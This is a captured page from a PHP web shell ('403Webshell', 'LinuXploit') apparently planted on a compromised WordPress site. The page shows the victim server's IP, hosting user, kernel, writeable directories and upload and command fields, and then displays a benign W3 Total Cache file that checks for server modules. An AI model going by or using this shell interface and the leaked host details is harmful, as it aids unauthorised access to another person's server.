403Webshell
Server IP : 192.64.118.117  /  Your IP : 18.116.80.77
Web Server : LiteSpeed
System : Linux premium56.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64
User : thecgapy ( 1160)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thecgapy/tcrgfinancesuite.com/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/thecgapy/tcrgfinancesuite.com/wp-content/plugins/w3-total-cache/Util_Installed.php
<?php
namespace W3TC;

/**
 * Checks if different server modules are enabled and installed
 */
class Util_Installed {
	static public function opcache() {
		return function_exists( 'opcache_reset' ) && ini_get( 'opcache.enable' );
	}

	static public function apc() {
		return function_exists( 'apc_store' ) || function_exists( 'apcu_store' );
	}

	static public function apc_opcache() {
		return function_exists( 'apc_compile_file' ) && ini_get( 'apc.enable' );
	}

	public static function is_opcache_validate_timestamps() {
		return  ini_get( 'opcache.validate_timestamps' );
	}

	public static function is_apc_validate_timestamps() {
		return ini_get( 'apc.stat' );
	}

	static public function curl() {
		return function_exists( 'curl_init' );
	}



	static public function eaccelerator() {
		return function_exists( 'eaccelerator_put' );
	}



	static public function ftp() {
		return function_exists( 'ftp_connect' );
	}



	static public function memcached_auth() {
		static $r = null;
		if ( is_null( $r ) ) {
			if ( !class_exists( '\Memcached' ) )
				$r = false;
			else {
				$o = new \Memcached();
				$r = ( method_exists( $o, 'setSaslAuthData' ) &&
					ini_get( 'memcached.use_sasl' ) );
			}
		}

		return $r;
	}



	static public function memcached() {
		return class_exists( 'Memcache' ) || class_exists( 'Memcached' );
	}



	static public function memcached_aws() {
		return class_exists( '\Memcached' ) &&
			defined( '\Memcached::OPT_CLIENT_MODE' ) &&
			defined( '\Memcached::DYNAMIC_CLIENT_MODE' );
	}



	static function memcache_auth() {
		static $r = null;
		if ( is_null( $r ) ) {
			if ( !class_exists( '\Memcached' ) )
				$r = false;
			else {
				$o = new \Memcached();
				$r = ( method_exists( $o, 'setSaslAuthData' ) &&
					ini_get( 'memcached.use_sasl' ) );
			}
		}

		return $r;
	}



	static public function redis() {
		return class_exists( 'Redis' );
	}



	static public function tidy() {
		return class_exists( 'tidy' );
	}



	static public function wincache() {
		return function_exists( 'wincache_ucache_set' );
	}



	static public function xcache() {
		return function_exists( 'xcache_set' );
	}



	/**
	 * Check if memcache is available
	 *
	 * @param array   $servers
	 * @return boolean
	 */
	static public function is_memcache_available( $servers ) {
		static $results = array();

		$key = md5( implode( '', $servers ) );

		if ( !isset( $results[$key] ) ) {
			$memcached = Cache::instance( 'memcached', array(
					'servers' => $servers,
					'persistent' => false
				) );
			if ( is_null( $memcached ) )
				return false;

			$test_string = sprintf( 'test_' . md5( time() ) );
			$test_value = array( 'content' => $test_string );
			$memcached->set( $test_string, $test_value, 60 );
			$test_value = $memcached->get( $test_string );
			$results[$key] = ( $test_value['content'] == $test_string );
		}

		return $results[$key];
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit